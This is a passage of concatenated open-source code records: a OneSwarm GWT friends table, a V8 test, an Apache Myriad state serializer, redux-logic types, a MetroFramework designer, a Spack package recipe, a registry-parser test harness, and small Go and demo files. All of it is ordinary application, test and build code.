OneSwarmGWT.log(\"friend deleted\");\n // noremoveoperation = false;\n // refresh();\n // deselectall();\n // }\n // });\n // } else {\n // friends[i].setBlocked(true);\n // OneSwarmRPCClient.getService().setFriendSettings(OneSwarmRPCClient.getSessionID(),\n // friends[i], new AsyncCallback<Void>(){\n // public void onFailure(Throwable caught) {\n // caught.printStackTrace();\n // }\n //\n // public void onSuccess(Void result) {\n // refresh();\n // }\n // });\n // }\n // }\n // }\n }\n\n public void addFriends() {\n OneSwarmDialogBox dlg = new FriendsImportWizard(newFriendRequestCounts);\n dlg.show();\n dlg.setVisible(false);\n dlg.center();\n dlg.setPopupPosition(dlg.getPopupLeft(), Math.max(40, dlg.getPopupTop() - 200));\n dlg.setVisible(true);\n }\n\n // public void undelete() {\n // for (int i = 0;i < friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n // friends[i].setBlocked(false);\n // OneSwarmRPCClient.getService().setFriendsSettings(OneSwarmRPCClient.getSessionID(),\n // friends[i], new AsyncCallback<Void>(){\n // public void onFailure(Throwable caught) {\n // caught.printStackTrace();\n // }\n //\n // public void onSuccess(Void result) {\n // refresh();\n // }\n // });\n // }\n // }\n // }\n\n public void swaplimited() {\n\n Boolean SetOrUnset = null;\n // List<FriendInfoLite> toUpdate = new ArrayList<FriendInfoLite>();\n // for (int i = 0; i<friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n // if (SetOrUnset == null) {\n // SetOrUnset = !friends[i].isCanSeeFileList();\n // }\n // friends[i].setCanSeeFileList(SetOrUnset);\n // toUpdate.add(friends[i]);\n // }\n // }\n\n List<FriendInfoLite> selected = this.getSelectedFriends();\n for (FriendInfoLite f : selected) {\n if (SetOrUnset == null) {\n SetOrUnset = !f.isCanSeeFileList();\n }\n f.setCanSeeFileList(SetOrUnset);\n f.setRequestFileList(SetOrUnset);\n }\n\n OneSwarmRPCClient.getService().setFriendsSettings(OneSwarmRPCClient.getSessionID(),\n selected.toArray(new FriendInfoLite[0]), new AsyncCallback<Void>() {\n public void onFailure(Throwable caught) {\n caught.printStackTrace();\n }\n\n public void onSuccess(Void result) {\n refresh();\n }\n });\n\n // Boolean SetOrUnset = null;\n // for (int i = 0;i < friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n // if (SetOrUnset == null) {\n // SetOrUnset = !friends[i].isCanSeeFileList();\n // }\n // friends[i].setCanSeeFileList(SetOrUnset);\n // OneSwarmRPCClient.getService().setFriendsSettings(OneSwarmRPCClient.getSessionID(),\n // selected, new AsyncCallback<Void>(){\n // public void onFailure(Throwable caught) {\n // caught.printStackTrace();\n // }\n //\n // public void onSuccess(Void result) {\n // refresh();\n // }\n // });\n // }\n // }\n }\n\n public void swapchat() {\n Boolean SetOrUnset = null;\n // List<FriendInfoLite> toUpdate = new ArrayList<FriendInfoLite>();\n\n List<FriendInfoLite> selected = this.getSelectedFriends();\n\n // for (int i = 0;i < friends.length;i++) {\n // if (selectors.get(i).getValue()) {\n // if (SetOrUnset == null) {\n // SetOrUnset = !friends[i].isAllowChat();\n // }\n // friends[i].setAllowChat(SetOrUnset);\n // toUpdate.add(friends[i]);\n // }\n // }\n\n for (FriendInfoLite f : selected) {\n if (SetOrUnset == null) {\n SetOrUnset = !f.isAllowChat();\n }\n f.setAllowChat(SetOrUnset);\n }\n\n OneSwarmRPCClient.getService().setFriendsSettings(OneSwarmRPCClient.getSessionID(),\n selected.toArray(new FriendInfoLite[0]), new AsyncCallback<Void>() {\n public void onFailure(Throwable caught) {\n caught.printStackTrace();\n }\n\n public void onSuccess(Void result) {\n System.out.println(\"successful refresh\");\n refresh();\n }\n });\n }\n\n public void refresh() {\n OneSwarmRPCClient.getService().getNewFriendsCountsFromAutoCheck(\n OneSwarmRPCClient.getSessionID(), new AsyncCallback<HashMap<String, Integer>>() {\n public void onSuccess(HashMap<String, Integer> result) {\n newFriendRequestCounts = result;\n }\n\n public void onFailure(Throwable caught) {\n caught.printStackTrace();\n }\n });\n\n OneSwarmRPCClient.getService().getFriends(OneSwarmRPCClient.getSessionID(), 0, true, true,\n new AsyncCallback<FriendList>() {\n public void onSuccess(FriendList result) {\n\n if (mRefreshCallback != null) {\n mRefreshCallback.refreshed(result);\n }\n\n int oldSortCol = mData.getColumnSortList().getPrimaryColumn();\n\n FriendInfoLite[] friendlist = result.getFriendList();\n\n /**\n * If there are no friends we won't be showing the table\n * anyway\n */\n if (friendlist.length == 0) {\n return;\n }\n\n System.out.println(\"Showing blocked friends?: \" + mShowBlocked);\n int rowoffset = 0;\n\n int rows = 0;\n for (int i = 0; i < friendlist.length; i++) {\n if (mShowBlocked || friendlist[i].isBlocked() == false) {\n rows++;\n }\n }\n\n System.out.println(\"got: \" + rows + \" rows\");\n\n mData.resizeRows(rows);\n\n for (int i = 0; i < friendlist.length; i++) {\n // System.out.println(\"INSIDE FOR LOOP: \" + i);\n FriendInfo finfo = new FriendInfo(friendlist[i]);\n // FriendInfo finfo =\n // ((FrendInfoEncapsulatingCheckBox)mData.getWidget(i,0)).getFriendInfo();\n Map<String, Widget> frienddata = finfo.GetFriendTableData();\n\n if (mShowBlocked\n || ((Label) (frienddata.get(\"Deleted\"))).getText().equals(\n \"false\")) {\n SortableNamePanel sortableNamePanel = (SortableNamePanel) frienddata\n .get(\"Name\");\n // if (mData.getRowCount() >= rowoffset) {\n // mData.resizeRows(rowoffset + 1);\n // }\n mData.setWidget(rowoffset, 0, sortableNamePanel);\n mData.setWidget(rowoffset, 1, frienddata.get(\"Last Connected\"));\n mData.setWidget(rowoffset, 2, frienddata.get(\"Share Ratio\"));\n mData.setWidget(rowoffset, 3, frienddata.get(\"Downloaded\"));\n mData.setWidget(rowoffset, 4, frienddata.get(\"Uploaded\"));\n mData.setWidget(rowoffset, 5, frienddata.get(\"Limited\"));\n mData.setWidget(rowoffset, 6, frienddata.get(\"Chat Allowed\"));\n mData.setWidget(rowoffset, 7, frienddata.get(\"Date Added\"));\n // mData.setWidget(rowoffset, 9,\n // frienddata.get(\"Last Connected IP\"));\n mData.setWidget(rowoffset, 8, frienddata.get(\"Source\"));\n\n rowoffset++;\n }\n }\n\n // noremoveoperation = true;\n\n if (oldSortCol != -1) {\n mData.sortColumn(oldSortCol);\n }\n resizeTable();\n\n }\n\n public void onFailure(Throwable caught) {\n caught.printStackTrace();\n }\n });\n }\n\n public void addSelectionCallback(SelectionCallback selectionCallback) {\n mSelectionCallbacks.add(selectionCallback);\n }\n\n public void selectNeverConnected() {\n for (int row = 0; row < mData.getRowCount(); row++) {\n SortableNamePanel cb = (SortableNamePanel) mData.getWidget(row, 0);\n FriendInfoLite flite = cb.getFriendInfo().getFriendInfoLite();\n\n if (flite.getLastConnectedDate() == null) {\n mData.selectRow(row, false);\n } else {\n mData.deselectRow(row);\n }\n }\n selectionChangedCheckIfListenersShouldBeNotified();\n }\n\n public void setShowBlocked(boolean value) {\n mShowBlocked = value;\n }\n}\n"} {"text": "// Copyright 2010 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following\n// disclaimer in the documentation and/or other materials provided\n// with the distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Flags: --allow-natives-syntax\n\nfunction runner(f, expected) {\n assertEquals(expected, f.call(this));\n}\n\nfunction test(n) {\n function MyFunction() {\n var result = n * 2 + arguments.length;\n return result;\n }\n for (var i = 0; i < 5; ++i) MyFunction();\n %OptimizeFunctionOnNextCall(MyFunction)\n runner(MyFunction, n * 2);\n}\n\ntest(1);\ntest(42);\ntest(239);\n\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.apache.myriad.state.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.nio.ByteBuffer;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Set;\nimport java.util.regex.Pattern;\nimport org.apache.mesos.Protos;\nimport org.apache.mesos.Protos.TaskID;\nimport org.apache.myriad.state.NodeTask;\n\n/**\n * The purpose of this container/utility is to create a mechanism to serialize the SchedulerState\n * to RMStateStore and back. Json did not seem to handle the Protos fields very well so this was an\n * alternative approach.\n */\npublic final class StoreContext {\n private static Pattern taskIdPattern = Pattern.compile(\"\\\\.\");\n private ByteBuffer frameworkId;\n private List<ByteBuffer> taskIds;\n private List<ByteBuffer> taskNodes;\n private List<ByteBuffer> pendingTasks;\n private List<ByteBuffer> stagingTasks;\n private List<ByteBuffer> activeTasks;\n private List<ByteBuffer> lostTasks;\n private List<ByteBuffer> killableTasks;\n\n public StoreContext() {\n }\n\n /**\n * Accept all the SchedulerState maps and flatten them into lists of ByteBuffers\n *\n * @param tasks\n * @param pendingTasks\n * @param stagingTasks\n * @param activeTasks\n * @param lostTasks\n * @param killableTasks\n */\n public StoreContext(Protos.FrameworkID frameworkId, Map<Protos.TaskID, NodeTask> tasks, Set<Protos.TaskID> pendingTasks,\n Set<Protos.TaskID> stagingTasks, Set<Protos.TaskID> activeTasks, Set<Protos.TaskID> lostTasks,\n Set<Protos.TaskID> killableTasks) {\n setFrameworkId(frameworkId);\n setTasks(tasks);\n setPendingTasks(pendingTasks);\n setStagingTasks(stagingTasks);\n setActiveTasks(activeTasks);\n setLostTasks(lostTasks);\n setKillableTasks(killableTasks);\n }\n\n /**\n * Accept list of ByteBuffers and re-create the SchedulerState maps.\n *\n * @param framwrorkId\n * @param taskIds\n * @param taskNodes\n * @param pendingTasks\n * @param stagingTasks\n * @param activeTasks\n * @param lostTasks\n * @param killableTasks\n */\n public StoreContext(ByteBuffer frameworkId, List<ByteBuffer> taskIds, List<ByteBuffer> taskNodes, List<ByteBuffer> pendingTasks,\n List<ByteBuffer> stagingTasks, List<ByteBuffer> activeTasks, List<ByteBuffer> lostTasks,\n List<ByteBuffer> killableTasks) {\n this.frameworkId = frameworkId;\n this.taskIds = taskIds;\n this.taskNodes = taskNodes;\n this.pendingTasks = pendingTasks;\n this.stagingTasks = stagingTasks;\n this.activeTasks = activeTasks;\n this.lostTasks = lostTasks;\n this.killableTasks = killableTasks;\n }\n\n /**\n * Use this to gather bytes to push to the state store\n *\n * @return byte stream of the state store context.\n * @throws IOException\n */\n public ByteArrayOutputStream toSerializedContext() throws IOException {\n ByteArrayOutputStream bytes = new ByteArrayOutputStream();\n ByteBufferSupport.addByteBuffer(frameworkId, bytes);\n ByteBufferSupport.addByteBuffers(taskIds, bytes);\n ByteBufferSupport.addByteBuffers(taskNodes, bytes);\n ByteBufferSupport.addByteBuffers(pendingTasks, bytes);\n ByteBufferSupport.addByteBuffers(stagingTasks, bytes);\n ByteBufferSupport.addByteBuffers(activeTasks, bytes);\n ByteBufferSupport.addByteBuffers(lostTasks, bytes);\n ByteBufferSupport.addByteBuffers(killableTasks, bytes);\n return bytes;\n }\n\n /**\n * When the bytes come back from the store, use this method to create a new context.\n *\n * @param bytes from state store\n * @return initialized StoreContext to use to initialize a SchedulerState\n */\n @SuppressWarnings(\"unchecked\")\n public static StoreContext fromSerializedBytes(byte bytes[]) {\n StoreContext ctx;\n if (bytes != null && bytes.length > 0) {\n ByteBuffer bb = ByteBufferSupport.fillBuffer(bytes);\n ByteBuffer frameworkId = ByteBufferSupport.createBuffer(bb);\n List<ByteBuffer> taskIds = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> taskNodes = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> pendingTasks = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> stagingTasks = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> activeTasks = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> lostTasks = ByteBufferSupport.createBufferList(bb, bb.getInt());\n List<ByteBuffer> killableTasks = ByteBufferSupport.createBufferList(bb, bb.getInt());\n ctx = new StoreContext(frameworkId, taskIds, taskNodes, pendingTasks, stagingTasks, activeTasks, lostTasks, killableTasks);\n } else {\n ctx = new StoreContext();\n }\n return ctx;\n }\n\n /**\n * Serialize tasks into internal ByteBuffers, removing the map.\n *\n * @param tasks\n */\n public void setTasks(Map<Protos.TaskID, NodeTask> tasks) {\n taskIds = new ArrayList<ByteBuffer>(tasks.size());\n taskNodes = new ArrayList<ByteBuffer>(tasks.size());\n for (Entry<TaskID, NodeTask> entry : tasks.entrySet()) {\n taskIds.add(ByteBufferSupport.toByteBuffer(entry.getKey()));\n taskNodes.add(ByteBufferSupport.toByteBuffer(entry.getValue()));\n }\n }\n\n /**\n * De-serialize the internal ByteBuffer back into a Protos.FrameworkID.\n *\n * @return\n */\n public Protos.FrameworkID getFrameworkId() {\n return ByteBufferSupport.toFrameworkID(frameworkId);\n }\n\n /**\n * Serialize the Protos.FrameworkID into a ByteBuffer.\n */\n public void setFrameworkId(Protos.FrameworkID frameworkId) {\n if (frameworkId != null) {\n this.frameworkId = ByteBufferSupport.toByteBuffer(frameworkId);\n }\n }\n\n /**\n * De-serialize the internal ByteBuffers back into a Task map.\n *\n * @return\n */\n public Map<Protos.TaskID, NodeTask> getTasks() {\n Map<Protos.TaskID, NodeTask> map = null;\n if (taskIds != null) {\n map = new HashMap<Protos.TaskID, NodeTask>(taskIds.size());\n int idx = 0;\n for (ByteBuffer bb : taskIds) {\n final Protos.TaskID taskId = ByteBufferSupport.toTaskId(bb);\n final NodeTask task = ByteBufferSupport.toNodeTask(taskNodes.get(idx++));\n if (task.getTaskPrefix() == null && taskId != null) {\n String taskPrefix = taskIdPattern.split(taskId.getValue())[0];\n task.setTaskPrefix(taskPrefix);\n }\n map.put(taskId, task);\n }\n } else {\n map = new HashMap<Protos.TaskID, NodeTask>(0);\n }\n return map;\n }\n\n public void setPendingTasks(Set<Protos.TaskID> tasks) {\n if (tasks != null) {\n pendingTasks = new ArrayList<ByteBuffer>(tasks.size());\n toTaskBuffer(tasks, pendingTasks);\n }\n }\n\n public Set<Protos.TaskID> getPendingTasks() {\n return toTaskSet(pendingTasks);\n }\n\n public void setStagingTasks(Set<Protos.TaskID> tasks) {\n if (tasks != null) {\n stagingTasks = new ArrayList<ByteBuffer>(tasks.size());\n toTaskBuffer(tasks, stagingTasks);\n }\n }\n\n public Set<Protos.TaskID> getStagingTasks() {\n return toTaskSet(stagingTasks);\n }\n\n public void setActiveTasks(Set<Protos.TaskID> tasks) {\n if (tasks != null) {\n activeTasks = new ArrayList<ByteBuffer>(tasks.size());\n toTaskBuffer(tasks, activeTasks);\n }\n }\n\n public Set<Protos.TaskID> getActiveTasks() {\n return toTaskSet(activeTasks);\n }\n\n public void setLostTasks(Set<Protos.TaskID> tasks) {\n if (tasks != null) {\n lostTasks = new ArrayList<ByteBuffer>(tasks.size());\n toTaskBuffer(tasks, lostTasks);\n }\n }\n\n public Set<Protos.TaskID> getLostTasks() {\n return toTaskSet(lostTasks);\n }\n\n public void setKillableTasks(Set<Protos.TaskID> tasks) {\n if (tasks != null) {\n killableTasks = new ArrayList<ByteBuffer>(tasks.size());\n toTaskBuffer(tasks, killableTasks);\n }\n }\n\n public Set<Protos.TaskID> getKillableTasks() {\n return toTaskSet(killableTasks);\n }\n\n private void toTaskBuffer(Set<Protos.TaskID> src, List<ByteBuffer> tgt) {\n for (Protos.TaskID id : src) {\n tgt.add(ByteBufferSupport.toByteBuffer(id));\n }\n }\n\n private Set<Protos.TaskID> toTaskSet(List<ByteBuffer> src) {\n Set<Protos.TaskID> tasks;\n if (src != null) {\n tasks = new HashSet<Protos.TaskID>(src.size());\n for (int i = 0; i < src.size(); i++) {\n tasks.add(ByteBufferSupport.toTaskId(src.get(i)));\n }\n } else {\n tasks = new HashSet<Protos.TaskID>(0);\n }\n return tasks;\n }\n}\n"} {"text": "/*\n * *** MIT LICENSE ***\n * -------------------------------------------------------------------------\n * This code may be modified and distributed under the MIT license.\n * See the LICENSE file for details.\n * -------------------------------------------------------------------------\n *\n * @summary Definitions for redux-logic\n *\n * @author Alvis HT Tang <alvis@hilbert.space>\n * @license MIT\n * @copyright Copyright (c) 2018 - All Rights Reserved.\n * -------------------------------------------------------------------------\n */\n\nimport { Object } from './utilities';\n\n//\n// ACTION\n//\n\n/* * * * * *\n | The following definitions are bascially identical to |\n | flux-standard-action without an extra package. It also |\n | makes use of conditional type to make the type of |\n | payload and meta more accurate. |\n * * * * * */\n\n/** Action as an agrument */\nexport type ArgumentAction<\n Type extends string = string,\n Payload extends Object = undefined,\n Meta extends Object = undefined\n> = ActionBasis<Type> & Partial<Action<string, object, object>>;\n\n/** all different types of Action */\nexport type Action<\n Type extends string = string,\n Payload extends Object = undefined,\n Meta extends Object = undefined\n> =\n | ErroneousAction<Type, Meta>\n | (StandardAction<Type, Payload, Meta> & { error?: false });\n\n/** Action without any error */\nexport type StandardAction<\n Type extends string = string,\n Payload extends Object = undefined,\n Meta extends Object = undefined\n> = ActionBasis<Type> & PayloadBasis<Payload> & MetaBasis<Meta>;\n\n/** Action with an Error */\nexport type ErroneousAction<\n Type extends string = string,\n Meta extends Object = undefined\n> = ActionBasis<Type> & PayloadBasis<Error> & MetaBasis<Meta> & { error: true };\n\n/* ----- Auxiliary Types ----- */\n\n/** the most basic action object */\nexport interface ActionBasis<Type extends string = string> {\n type: Type extends infer U ? U : string;\n}\n\n/** return an interface with payload only if it presents */\nexport type PayloadBasis<\n Payload extends Object = undefined\n> = Payload extends undefined ? {} : { payload: Payload };\n\n/** return an interface with meta only if it presents */\nexport type MetaBasis<Meta extends Object = undefined> = Meta extends undefined\n ? {}\n : { meta: Meta };\n\n// ---------------------------------------- //\n"} {"text": "/**\n * MetroFramework - Modern UI for WinForms\n * \n * The MIT License (MIT)\n * Copyright (c) 2011 Sven Walter, http://github.com/viperneo\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy of \n * this software and associated documentation files (the \"Software\"), to deal in the \n * Software without restriction, including without limitation the rights to use, copy, \n * modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, \n * and to permit persons to whom the Software is furnished to do so, subject to the \n * following conditions:\n * \n * The above copyright notice and this permission notice shall be included in \n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, \n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A \n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT \n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE \n * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\nusing System.Collections;\nusing System.ComponentModel;\nusing System.Windows.Forms.Design;\n\nnamespace MetroFramework.Design\n{\n internal class MetroTileDesigner : ParentControlDesigner\n {\n public override SelectionRules SelectionRules\n {\n get\n {\n return base.SelectionRules;\n }\n }\n\n public override bool CanParent(System.Windows.Forms.Control control)\n {\n return (control is Controls.MetroLabel || control is Controls.MetroProgressSpinner);\n }\n\n protected override void PreFilterProperties(IDictionary properties)\n {\n properties.Remove(\"ImeMode\");\n properties.Remove(\"Padding\");\n properties.Remove(\"FlatAppearance\");\n properties.Remove(\"FlatStyle\");\n properties.Remove(\"AutoEllipsis\");\n properties.Remove(\"UseCompatibleTextRendering\");\n\n properties.Remove(\"Image\");\n properties.Remove(\"ImageAlign\");\n properties.Remove(\"ImageIndex\");\n properties.Remove(\"ImageKey\");\n properties.Remove(\"ImageList\");\n properties.Remove(\"TextImageRelation\");\n\n properties.Remove(\"BackColor\");\n properties.Remove(\"BackgroundImage\");\n properties.Remove(\"BackgroundImageLayout\");\n properties.Remove(\"UseVisualStyleBackColor\");\n\n properties.Remove(\"Font\");\n properties.Remove(\"ForeColor\");\n properties.Remove(\"RightToLeft\");\n\n base.PreFilterProperties(properties);\n }\n }\n}\n"} {"text": "# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\n\nclass PyAzureDatalakeStore(PythonPackage):\n \"\"\"Azure Data Lake Store Filesystem Client Library for Python.\"\"\"\n\n homepage = \"https://github.com/Azure/azure-data-lake-store-python\"\n url = \"https://pypi.io/packages/source/a/azure-datalake-store/azure-datalake-store-0.0.48.tar.gz\"\n\n version('0.0.48', sha256='d27c335783d4add00b3a5f709341e4a8009857440209e15a739a9a96b52386f7')\n\n depends_on('py-setuptools', type='build')\n depends_on('py-cffi', type=('build', 'run'))\n depends_on('py-adal@0.4.2:', type=('build', 'run'))\n depends_on('py-requests@2.20.0:', type=('build', 'run'))\n depends_on('py-pathlib2', when='^python@:3.3', type=('build', 'run'))\n depends_on('py-futures', when='^python@:2', type=('build', 'run'))\n depends_on('py-azure-nspkg', when='^python@:2', type=('build', 'run'))\n"} {"text": "/*\n * Copyright © BeyondTrust Software 2004 - 2019\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * BEYONDTRUST MAKES THIS SOFTWARE AVAILABLE UNDER OTHER LICENSING TERMS AS\n * WELL. IF YOU HAVE ENTERED INTO A SEPARATE LICENSE AGREEMENT WITH\n * BEYONDTRUST, THEN YOU MAY ELECT TO USE THE SOFTWARE UNDER THE TERMS OF THAT\n * SOFTWARE LICENSE AGREEMENT INSTEAD OF THE TERMS OF THE APACHE LICENSE,\n * NOTWITHSTANDING THE ABOVE NOTICE. IF YOU HAVE QUESTIONS, OR WISH TO REQUEST\n * A COPY OF THE ALTERNATE LICENSING TERMS OFFERED BY BEYONDTRUST, PLEASE CONTACT\n * BEYONDTRUST AT beyondtrust.com/contact\n */\n\n/*\n * Copyright (C) BeyondTrust Software. All rights reserved.\n *\n * Module Name:\n *\n * regio_test.c\n *\n * Abstract:\n *\n * Registry\n *\n * Registry .REG parser file I/O test harness\n *\n * Authors: Adam Bernstein (abernstein@likewise.com)\n */\n#include <parse/includes.h>\n#include <stdio.h>\n\nvoid\ntestInteractive(void)\n{\n DWORD dwError = 0;\n CHAR inBuf[1024];\n PSTR ptr = NULL;\n DWORD inBufLen = 0;\n HANDLE ioH = NULL;\n CHAR inC = '\\0';\n BOOLEAN eof = FALSE;\n\n dwError = RegIOBufferOpen(&ioH);\n if (dwError)\n {\n fprintf(stderr, \"RegIOBufferOpen: failed %d\\n\", dwError);\n return;\n }\n\n do\n {\n printf(\"> \");\n fflush(stdout);\n ptr = fgets(inBuf, sizeof(inBuf)-1, stdin);\n if (ptr)\n {\n \n inBufLen = strlen(ptr);\n dwError = RegIOBufferSetData(ioH, inBuf, inBufLen);\n if (dwError) return;\n }\n \n do\n {\n dwError = RegIOGetChar(ioH, &inC, &eof);\n if (!eof)\n {\n putchar(inC);\n }\n else\n {\n printf(\"<EOF>\\n\");\n }\n }\n while (!eof);\n } while (!feof(stdin));\n\n RegIOClose(ioH);\n}\n\n\nint main(int argc, char *argv[])\n{\n DWORD dwError;\n HANDLE ioH;\n CHAR inC;\n BOOLEAN eof = FALSE;\n\n if (argc == 1)\n {\n printf(\"usage: %s regfile.reg | %s --shell\\n\", argv[0], argv[0]);\n return 0;\n }\n\n if (strcmp(argv[1], \"--shell\") == 0)\n {\n testInteractive();\n return 0;\n }\n\n dwError = RegIOOpen(argv[1], &ioH);\n if (dwError)\n {\n fprintf(stderr, \"RegIOOpen: failed %d\\n\", dwError);\n return 1;\n }\n\n dwError = RegIOGetChar(ioH, &inC, &eof);\n if (eof || dwError != ERROR_SUCCESS)\n {\n fprintf(stderr, \"RegIOGetChar: failed %d\\n\", dwError);\n }\n dwError = RegIOUnGetChar(ioH, NULL);\n if (dwError != ERROR_SUCCESS)\n {\n printf(\"RegIOUnGetChar: 1 UnGetChar failed!\\n\");\n }\n\n do\n {\n dwError = RegIOGetChar(ioH, &inC, &eof);\n if (!eof)\n {\n putchar(inC);\n }\n else\n {\n printf(\"<EOF>\\n\");\n }\n }\n while (!eof);\n\n RegIOClose(ioH);\n return 0;\n}\n\n"} {"text": "package compiler\n\n// func TestBuilder(t *testing.T) {\n// \tcases := []struct {\n// \t\tname string\n// \t\tf func(*builder)\n// \t\twantHex string\n// \t}{\n// \t\t{\n// \t\t\t\"single pushdata\",\n// \t\t\tfunc(b *builder) {\n// \t\t\t\tb.addInt64(1)\n// \t\t\t},\n// \t\t\t\"51\",\n// \t\t},\n// \t\t{\n// \t\t\t\"pushdata and verify\",\n// \t\t\tfunc(b *builder) {\n// \t\t\t\tb.addInt64(1)\n// \t\t\t\tb.addOp(vm.OP_VERIFY)\n// \t\t\t},\n// \t\t\t\"51\",\n// \t\t},\n// \t\t{\n// \t\t\t\"pushdata, verify, second pushdata\",\n// \t\t\tfunc(b *builder) {\n// \t\t\t\tb.addInt64(1)\n// \t\t\t\tb.addOp(vm.OP_VERIFY)\n// \t\t\t\tb.addInt64(2)\n// \t\t\t},\n// \t\t\t\"516952\",\n// \t\t},\n// \t}\n// \tfor _, c := range cases {\n// \t\tt.Run(c.name, func(t *testing.T) {\n// \t\t\tb := newBuilder()\n// \t\t\tc.f(b)\n// \t\t\tgot, err := b.build()\n// \t\t\tif err != nil {\n// \t\t\t\tt.Fatal(err)\n// \t\t\t}\n// \t\t\twant, err := hex.DecodeString(c.wantHex)\n// \t\t\tif err != nil {\n// \t\t\t\tt.Fatal(err)\n// \t\t\t}\n// \t\t\tif !bytes.Equal(got, want) {\n// \t\t\t\tt.Errorf(\"got %x, want %x\", got, want)\n// \t\t\t}\n// \t\t})\n// \t}\n// }\n"} {"text": "/* @flow */\nimport Box from '../../common/DemoBox';\nimport DemoLayout from '../../common/DemoLayout';\n\nexport default {\n id: 'spacing',\n title: 'Spacing',\n description: `Values for margin & padding\ncan be a [spacing theme variable](/theming#common-scenarios-theme-structure)\nor a custom string or number.\n\nIn _order of precedence_, Box accepts the following spacing props:\n\n1. \\`margin[Bottom|Left|Right|Top]\\`\n1. \\`marginStart\\` (left, for left-to-right languages; right, for RTL languages)\n1. \\`marginEnd\\` (right, for left-to-right languages; left, for RTL languages)\n1. \\`marginHorizontal\\` (left & right)\n1. \\`marginVertical\\` (top & bottom)\n1. \\`margin\\` (all sides)\n\n_Numbers < 1, e.g. \\`1/2\\`, will be converted to a percentage. Numbers ≥ 1 will\nbe appended with \\`px\\`. String values, e.g. \\`\"4em\"\\` or \\`\"20%\"\\`, will be\npassed directly._\n\nThe same applies for \\`padding\\`.`,\n scope: { DemoLayout, Box },\n source: `\n /*\n * Spacing theme variables:\n * 'xxs', 'xs', 'sm', 'md', 'lg', 'xl', 'xxl'\n */\n <DemoLayout>\n <Box>none</Box>\n <Box marginRight=\"xl\">xl</Box>\n <Box marginRight=\"6em\">6em</Box>\n <Box marginRight={120}>120</Box>\n <Box marginRight={1/3}>1/3</Box>\n </DemoLayout>`\n};\n"} {"text": "// Copyright 2017 The Abseil Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// https://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 